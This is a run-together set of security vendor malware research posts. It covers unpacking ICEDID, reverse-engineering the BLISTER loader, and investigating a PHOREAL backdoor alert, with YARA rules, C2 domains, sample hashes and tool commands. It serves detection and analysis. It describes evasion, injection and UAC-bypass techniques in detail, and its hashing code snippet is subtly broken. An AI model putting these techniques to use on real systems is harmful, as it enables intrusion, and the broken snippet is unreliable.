        $a2 = "\tPEAddress: %p\n" fullword
        $a3 = "\tPESize: %ld\n" fullword
        $a4 = "DynamicLoad(%s, %s) %d\n" fullword
        $a5 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
        $a6 = "\t[+] No PE loaded on memory\n" wide fullword
        $a7 = "\t[+] PE argument: %ws\n" wide fullword
        $a8 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
    condition:
        5 of them
}

References

The following were referenced throughout the above research:

• https://www.elastic.co/pt/security-labs/hunting-memory
• https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector
• https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance
• https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/
• https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

ICEDID is a malware family discoveredin 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family but achieved even more growth since EMOTET’s temporary disruption in early 2021. ICEDID has been linked to the distribution of several distinct malware families including DarkVNC and COBALT STRIKE. Regular industry reporting, including research publications like this one, help mitigate this threat.

ICEDID is known to pack its payloads using custom file formats and a custom encryption scheme. Following our latest ICEDID research that covers the GZip variant execution chain.

In this tutorial, we will introduce these tools by unpacking a recent ICEDID sample starting with downloading a copy of the fake GZip binary:

Analyzing malware can be dangerous to systems and should only be attempted by experienced professionals in a controlled environment, like an isolated virtual machine or analysis sandbox. Malware can be designed to evade detection and infect other systems, so it's important to take all necessary precautions and use specialized tools to protect yourself and your systems.

54d064799115f302a66220b3d0920c1158608a5ba76277666c4ac532b53e855f

Environment setup

For this tutorial, we’re using Windows 10 and Python 3.10.

Elastic Security Labs is releasing a set of tools to automate the unpacking process and help analysts and the community respond to ICEDID.

In order to use the tools, clone the Elastic Security Lab release repository and install the nightMARE module.

git clone https://github.com/elastic/labs-releases
cd labs-release
pip install .\nightMARE\

All tools in this tutorial use the nightMARE module, this library implements different algorithms we need for unpacking the various payloads embedded within ICEDID. We’re releasing nightMARE because it is required for this ICEDID analysis, but stay tuned - more to come as we continue to develop and mature this framework.

Unpacking the fake GZip

The ICEDID fake GZip is a file that masquerades as a valid GZip file formatted by encapsulating the real data with a GZip header and footer.

GZip magic bytes appear in red.
The GZip header is rendered in green.
The dummy filename value is blue.

After the GZip header is the true data structure, which we describe below.

We will use the labs-releases\tools\icedid\gzip-variant\extract_gzip.py script to unpack this fraudulent GZip.

usage: extract_gzip.py [--help] input output

positional arguments:
  input       Input file
  output      Output directory

options:
  -h, --help  show this help message and exit

We'll use extract_gzip.py on the ICEDID sample linked above and store the contents into a folder we created called “ extract ” (you can use any existing output folder).

python extract_gzip.py 54d064799115f302a66220b3d0920c1158608a5ba76277666c4ac532b53e855f extract

============================================================
Fake Gzip
============================================================
is_dll: True
core: UponBetter/license.dat (354282 bytes)
stage_2: lake_x32.tmp (292352 bytes)

extract\configuration.bin
extract\license.dat
extract\lake_x32.tmp

This script returns three individual files consisting of:

• The encrypted configuration file: configuration.bin
• The encrypted core binary: license.dat
• The persistence loader: lake_x32.tmp

Decrypting the core binary and configuration files

The configuration and the core binary we extracted are encrypted using ICEDID’s custom encryption scheme. We can decrypt them with the labs-releases\tools\icedid\decrypt_file.py script.

usage: decompress_file.py [--help] input output

positional arguments:
  input       Input file
  output      Output file

options:
  -h, --help  show this help message and exit

As depicted here (note that decrypted files can be written to any valid destination):

python .\decrypt_file.py .\extract\license.dat .\extract\license.dat.decrypted

python .\decrypt_file.py .\extract\configuration.bin .\extract\configuration.bin.decrypted

The core binary and the configuration are now ready to be processed by additional tools. See the data from the decrypted configuration presented in the following screenshot:

Reading the configuration

The configuration file format is presented below.

The configuration can be read using the labs-releases\tools\icedid\gzip-variant\read_configuration.py script.

usage: read_configuration.py [--help] input

positional arguments:
  input       Input file

options:
  -h, --help  show this help message and exit

We’ll use the read_configuration.py script to read the configuration.bin.decrypted file we collected in the previous step.

python .\gzip-variant\read_configuration.py .\extract\configuration.bin.decrypted

============================================================
Configuration
============================================================
botnet_id: 0x3B7D6BA4
auth_var: 0x00000038
uri: /news/
domains:
        alishaskainz.com
        villageskaier.com

This configuration contains two C2 domains:

• alishaskainz[.]com
• villageskaier[.]com

For this sample, the beaconing URI that ICEDID uses is “ /news/ ”.

Rebuilding the core binary for static analysis

ICEDID uses a custom PE format to obfuscate its payloads thus defeating static or dynamic analysis tools that expect to deal with a normal Windows executable. The custom PE file format is described below.

If we want to analyze the core binary, for example with IDA Pro, we need to rebuild it into a valid PE. We use the labs-releases\tools\icedid\rebuild_pe.py script.

usage: rebuild_pe.py [--help] [-o OFFSET] input output

positional arguments:
  input                 Input file
  output                Output reconstructed PE

options:
  -h, --help            show this help message and exit
  -o OFFSET, --offset OFFSET
                        Offset to real data, skip possible garbage

However, when attempting to use rebuild_pe.py on the decrypted core binary, license.dat.decrypted , we receive the following error message:

python .\rebuild_pe.py .\extract\license.dat.decrypted .\extract\core.bin
Traceback (most recent call last):
  File "rebuild_pe.py", line 32, in <module>
    main()
  File "rebuild_pe.py", line 28, in main
    custom_pe.CustomPE(data).to_pe().write(args.output)
  File "nightmare\malware\icedid\custom_pe.py", line 86, in __init__
    raise RuntimeError("Failed to parse custom pe")
RuntimeError: Failed to parse custom pe

The subtlety here is that the custom PE data doesn’t always start at the beginning of the file. In this case, for example, if we open the file in a hexadecimal editor like HxD we can observe a certain amount of garbage bytes before the actual data.

We know from our research that the size of the garbage is 129 bytes.

With that in mind, we can skip over the garbage bytes and rebuild the core binary using the rebuild_pe.py script using the “-o 129” parameter. This time we, fortunately, receive no error message. core.bin will be saved to the output directory, extract in our example.

python .\rebuild_pe.py .\extract\license.dat.decrypted .\extract\core.bin -o 129

The rebuilt PE object is not directly executable but you can statically analyze it using your disassembler of choice.

We assigned custom names to the rebuilt binary sections ( .mare{0,1,2,...} ).

We want to credit and thank Hasherezade’s work from which we took inspiration to build this tool.

Executing the core binary (Windows only)

The core binary can’t be executed without a custom loader that understands ICEDID’s custom PE format as well as the entry point function prototype.

From our research, we know that the entry point expects a structure we refer to as the context structure, which contains ICEDID core and persistence loader paths with its encrypted configuration. The context structure is described below.

To natively execute the core binary we use the labs-releases\tools\icedid\gzip-variant\load_core.py script, but before using it we need to create the context.json file that’ll contain all the information needed by this script to build this structure.

For this sample, we copy the information contained in the fake gzip and we use the path to the encrypted configuration file. We’ve included an example at gzip_variant/context.json.example.

Please note that “field_0” and “stage_2_export” values have to be found while reversing the sample.

Here we use values from our previous research as placeholders but we have no guarantee that the sample will work 100%. For example, in this sample, we don’t know if the #1 ordinal export is the actual entry point of the persistence loader.

We also reproduce the first stage behavior by creating the UponBetter directory and moving the license.dat file into it.

We execute the labs-releases\tools\icedid\gzip_variant\load_core.py script using the decrypted core binary: license.dat.decrypted , the context.json file.

WARNING: The binary is going to be loaded/executed natively by this script, Elastic Security Labs does not take responsibility for any damage to your system. Please execute only within a safe environment.

usage: load_core.py [--help] [-o OFFSET] core_path ctx_path

positional arguments:
  core_path             Core custom PE
  ctx_path              Path to json file defining core's context

options:
  -h, --help            show this help message and exit
  -o OFFSET, --offset OFFSET
                        Offset to real data, skip possible garbage

Because we have the same garbage bytes problem as stated in the previous section, we use the “-o 129” parameter to skip over the garbage bytes.

python .\gzip-variant\load_core.py .\extract\license.dat.decrypted .\gzip-variant\context.example.json -o 129

============================================================
Core Loader
============================================================
Base address: 0x180000000
Entrypoint: 0x180001390

Press a key to call entrypoint...

When launched, the script will wait for user input before calling the entry point. We can easily attach a debugger to the Python process and set a breakpoint on the ICEDID core entry point (in this example 0x180001390 ).

Once the key is pressed, we reach the entry point.

If we let the binary execute, we see ICEDID threads being created (indicated in the following screenshot).

Unpacking and rebuilding payloads from the rebuilt core binary

For extracting any of the payloads that are embedded inside the core binary, we will use the labs-releases\tools\icedid\gzip-variant\extract_payloads_from_core.py script

usage: extract_payloads_from_core.py [--help] input output

positional arguments:
  input       Input file
  output      Output directory

options:
  -h, --help  show this help message and exit

We’ll use this script on the rebuilt core binary.

python .\gzip-variant\extract_payloads_from_core.py .\extract\core.bin core_extract

core_extract\browser_hook_payload_0.cpe
core_extract\browser_hook_payload_1.cpe

From here, we output two binaries corresponding to ICEDID’s payloads for web browser hooking capabilities, however, they are still in their custom PE format.

Based on our research, we know that browser_hook_payload_0.cpe is the x64 version of the browser hook payload and browser_hook_payload_1.cpe is the x86 version.

In order to rebuild them, we use the rebuild_pe.py script again, this time there are no garbage bytes to skip over.

python .\rebuild_pe.py .\core_extract\browser_hook_payload_0.cpe .\core_extract\browser_hook_payload_0.bin

python .\rebuild_pe.py .\core_extract\browser_hook_payload_1.cpe .\core_extract\browser_hook_payload_1.bin

Now we have two PE binaries ( browser_hook_payload_0.bin and browser_hook_payload_1.bin ) we can further analyze.

Attentive readers may observe that we have skipped the VNC server unpacking from the core binary, a decision we made intentionally. We will release it along with other tools in upcoming research, so stay tuned!

Conclusion

In this tutorial we covered ICEDID GZip variant unpacking, starting with the extraction of the fake GZip binary, followed by the reconstruction of the core binary and unpacking its payloads.

ICEDID is constantly evolving, and we are going to continue to monitor major changes and update our tooling along with our research. Feel free to open an issue or send us a message if something is broken or doesn’t work as expected.

Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries through the publication of detailed detection logic, protections, and applied threat research.

Follow us on @elasticseclabsand visit our research portal for more resources and research.

References

The following were referenced throughout the above research:

• https://www.elastic.co/pt/pdf/elastic-security-labs-thawing-the-permafrost-of-icedid.pdf
• https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
• https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation
• https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc
• https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot
• https://github.com/elastic/labs-releases
• https://github.com/hasherezade/funky_malware_formats/blob/f1cacba4ee347601dceacda04e4de8c699971d29/iced_id_parser/iceid_to_pe.cpp
• https://mh-nexus.de/en/hxd/
• https://hex-rays.com/IDA-pro/

• BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode
• In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis
• Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis
• 40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures

For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:

• BLISTER Campaign Analysis
• BLISTER Configuration Extractor

Overview

The Elastic Security team has continually been monitoring the BLISTER loader since our initial release at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.

A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:

Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.

Our research shows that BLISTER is actively developed and has been linked in public reporting to LockBit ransomware and the SocGholish framework; in addition, Elastic has also observed BLISTER in relation to the following families: Amadey, BitRAT, Clipbanker, Cobalt Strike, Remcos, and Raccoon along with others.

In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.

Consider the following sample representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.

Execution Flow

The execution flow consists of the following phases:

• Deciphering the second stage
• Retrieving configuration and packed payload
• Payload unpacking
• Persistence mechanisms
• Payload injection

Launch / Entry Point

During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the colorui.dll library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function LaunchColorCpl :

Rundll32 execution arguments

rundll32.exe "BLISTER.dll,LaunchColorCpl"

The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.

If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:

Deciphering Second Stage

BLISTER’s second stage is ciphered in its resource section (.rsrc).

The deciphering routine begins with a loop based sleep to evade detection:

BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the NtProtectVirtualMemory API:

Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:

Obfuscation

BLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.

BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.

Retrieving Configuration and Packed Payload

BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.

The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:

When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:

Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:

See the configuration structure in the appendix.

Time Based Anti Debug

After loading the configuration, and depending if the kEnableSleepBasedAntiDebug flag (0x800) is set, BLISTER calls its time-based anti-debug function:

This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:

The main thread will sleep using NtDelayExecution until the sleep thread has exited:

Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:

If not, the function will return 1 and the process will be terminated:

Windows API

Blister’s GetModuleHandle

BLISTER implements its own GetModuleHandle to evade detection, the function takes the library name hash as a parameter, iterates over the process PEB LDR’s modules and checks the hashed module’s name against the one passed in the parameter:

Blister’s GetProcAddress

BLISTER’s GetProcAddress takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.

The DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:

If the export is found, and its virtual address isn’t null, it is returned:

Else the DLL is LdrLoaded and BLISTER’s GetProcAddress is called again with the newly loaded dll:

Library Manual Mapping

BLISTER manually maps a library using NtCreateFile in order to open a handle on the DLL file:

Next it creates a section with the handle by calling NtCreateSection with the SEC_IMAGE attribute which tells Windows to loads the binary as a PE:

NtCreateSection used within mapping function

Finally it maps the section with NtMapViewOfSection :

x32/x64 Ntdll Mapping

Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.

It starts by mapping the x32 version:

Then it disables SysWOW64 redirection:

And then maps the 64 bit version:

Then if available, the mapped libraries will be used with the GetProcAddress function, i.e:

LdrLoading Windows Libraries and Removing Hooks

After mapping 32 and 64 bit NTDLL versions BLISTER will LdrLoad several Windows libraries and remove potential hooks:

First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:

If the hash is found BLISTER uses the LdrLoad to load the library:

Then BLISTER searches for the corresponding module in its own process:

And maps a fresh copy of the library with the module’s FullDllName :

BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:

Next BLISTER iterates over each section of the loaded library to see if the section is executable:

If the section is executable, it is replaced with the mapped one, thus removing any hooks:

x64 API Call

BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:

To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate technique:

Unpacking Payload

During the unpacking process of the payload, the malware starts by allocating memory using NtAllocateVirtualMemory and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).

Deciphering

BLISTER leverages the Rabbit stream cipher, passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.

Decompression

After the decryption stage, the payload is then decompressed using RtlDecompressBuffer with the LZNT1 compression format.

Persistence Mechanism

To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the CreateDirectoryW function with a unique hardcoded string found in the configuration file such as: C:\ProgramDataUNIQUE STRING\\>

BLISTER then copies C:\System32\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\>.exe and UNIQUE STRING\>.dll, respectively.

BLISTER uses the CopyModuleIntoFolder function and the IFileOperation Windows COM interface for bypassing UAC when copying and renaming the files:

The malware creates an LNK file using IShellLinkW COM interface and stores it in C:\Users\<username>\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE STRING\\>.lnk

The LNK file is set to run the export function LaunchColorCpl of the newly copied malware with the renamed instance of rundll32. C:\ProgramData\UNIQUE STRING\>\UNIQUE STRING\>.exe C:\ProgramData\UNIQUE STRING\>\UNIQUE STRING\>.dll,LaunchColorCpl

Injecting Payload

BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:

Shellcode Execution

After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with NtAllocateVirtualMemory API, it then copies the shellcode to it and it sets the memory region to read write execute with NtProtectVirtualMemory and then executes it.

Own Process Injection

BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with NtCreateSection API.

BLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.

Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.

BLISTER then calls a function to copy the PE headers and the sections.

Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.

Process Hollowing

BLISTER is able to perform process hollowing in a remote process:

First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.

If not, the malware performs remote process hollowing with Werfault.exe. BLISTER follows standard techniques used for process hollowing.

There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the AppData folder titled Bg.Agent.ETW with an explicit extension.

The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.

Configuration Extractor

Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.

Our extractor uses a Rabbit stream cipher implementation and takes either a directory of samples with -d option or -f for a single sample,

To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed here.

Conclusion

BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.

From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.

Appendix

Configuration Structure

BLISTER configuration structure

struct Config {
  uint16_t flag;
  uint32_t payload_export_hash;
  wchar_t w_payload_filename_and_cmdline[783];
  size_t compressed_data_size;
  size_t uncompressed_data_size;
  uint8_t pe_deciphering_key[16];
  uint8_t pe_deciphering_iv[8];
};

Configuration’s Flags

BLISTER configuration files

enum Config::Flags {
  kDoPersistance = 0x1,
  kOwnProcessReflectiveInjectionMethod = 0x2,
  kOwnProcessHollowingMethod = 0x8,
  kRemoteProcessHollowingMethod = 0x10,
  kExecutePayloadExport = 0x20,
  kExecuteShellcodeMethod = 0x40,
  kInjectWithCmdLine = 0x80,
  kSleepAfterInjection = 0x100,
  kEnableSleepBasedAntiDebug = 0x800,
};

Hashing Algorithm

BLISTER hashing algorithm

uint32_t HashLibraryName(wchar_t *name) {
  uint32_t name {0};
  while (*name) {
 hash = ((hash >> 23) | (hash  << 9)) + *name++;
  }
  return hash ;
}

Indicators

YARA Rule

This updated YARA rule has shown a 13% improvement in detection rates.

BLISTER YARA rule

rule Windows_Trojan_BLISTER {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-04-29"
        last_modified = "2022-04-29"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BLISTER"
        threat_name = "Windows.Trojan.BLISTER"
        description = "Detects BLISTER loader."
        reference_sample = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"

    strings:
        $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
        $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
        $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
        $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
        $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
    condition:
        any of them
}

References

• https://www.elastic.co/pt/blog/elastic-security-uncovers-blister-malware-campaign
• https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
• https://redcanary.com/threat-detection-report/threats/socgholish/

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, highlight its capabilities, and deliver insights about how it is designed.

Execution Chain

ICEDID employs multiple stages before establishing persistence via a scheduled task and may retrieve components from C2 dynamically. The following diagram illustrates major phases of the ICEDID execution chain.

Research Paper Overview

Elastic Security Labs described the full execution chain of a recent ICEDID sample in a detailed research paper hosted at Elastic Security Labs. In addition, we provide a comprehensive analysis of this malware sample and capabilities, including: - Virtualization detection and anti-analysis - C2 polling operations - Shellcode execution methods - Credential access mechanisms - Websocket connections - Installing a web browser proxy to capture all user traffic - Reverse shell and VNC server installation - Certificate pinning - Data validation - ICEDID observable TTPs - Links to useful resources from Elastic

Detections and preventions

Detection logic

• Enumeration of Administrator Accounts
• Command Shell Activity Started via RunDLL32
• Security Software Discovery using WMIC
• Suspicious Execution from a Mounted Device
• Windows Network Enumeration
• Unusual DLL Extension Loaded by Rundll32 or Regsvr32
• Suspicious Windows Script Interpreter Child Process
• RunDLL32 with Unusual Arguments

Preventions (source: https://github.com/elastic/protections-artifacts/)

• Malicious Behavior Detection Alert: Command Shell Activity
• Memory Threat Detection Alert: Shellcode Injection
• Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32
• Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process
• Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments
• Malicious Behavior Detection Alert: Windows Script Execution from Archive File

YARA

Elastic Security has created multiple YARA rules related to the different stages/components within ICEDID infection, these can be found in the signature linked below: - Windows.Trojan.ICEDID

Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries though the publication of detailed detection logic, protections, and applied threat research.

Follow us on @elasticseclabs or visit our research portal for more resources and research.

Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.

What is the threat?

PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).

What is the impact?

APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.

What is Elastic doing about it?

Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.

Investigation Details

While conducting Threat Discovery & Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.

You can read more about Elastic Security’s memory protections HERE and about in-memory attacks HERE.

With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:

Targeted process is a signed Windows binary

...
"process": {
     "args": [
       "control.exe",
       "Firewall.cpl",
       "{2D48D219-C306-4349-AE1F-09744DFFB5B9}"
     ],
     "Ext": {
       "code_signature": [
         {
           "trusted": true,
           "subject_name": "Microsoft Windows",
           "exists": true,
           "status": "trusted"
         }
       ],
       "dll": [
...

Unsigned loaded .dll

...
   "Ext": {
     "mapped_address": 1945501696,
     "mapped_size": 21135360
   },
   "path": "C:\\Windows\\SysWOW64\\tscon32.dll",
   "code_signature": [
     {
       "exists": false
     }
   ],
   "name": "tscon32.dll",
   "hash": {
     "sha1": "007970b7a42852b55379ef4cffa4475865c69d48",
     "sha256": "ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33",
     "md5": "2b6da20e4fc1af2c5dd5c6f6191936d1"
   }
 },
...

Starting module from the alerting thread

...
 "pe": {
   "original_file_name": "CONTROL.EXE"
 },
 "name": "control.exe",
 "pid": 5284,
 "thread": {
   "Ext": {
     "start_address_module": "C:\\Windows\\SysWOW64\\tscon32.dll",
...

Alerting memory region metadata

...
"memory_region": {`
   "region_size": 73728,
   "region_protection": "RWX",
   "allocation_base": 81395712,
   "bytes_allocation_offset": 0,
   "allocation_type": "PRIVATE",
   "memory_pe_detected": true,
   "region_state": "COMMIT",
   "strings": [
     "QSSSSSSh ",
     ...
     "bad cast",
     "Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}",
     "Netapi32.dll",
     "NetWkstaGetInfo",
     "NetApiBufferFree",
     "\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}",
     "list<T> too long",
     "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll",
     "DllEntry",
     ...
     ".?AVbad_alloc@std@@",
     "C:\\Windows\\syswow64\\control.exe",
     ":z:zzzzzz7",
     ...
     "InternalName",
     "mobsync.exe",
     "LegalCopyright",
...

Thread data for pivoting

...
"thread": {
 "Ext": {
   "start_address_bytes": "8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300",
   ...
   "start_address_bytes_disasm": "mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]"
 },
...

From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.

Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included the below entry first submitted in July 2021.

In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (@fxb_b) authored a crowdsourced YARA rule identifying this as the PHOREAL backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.

Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.

Converted YARA strings

strings:
          \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
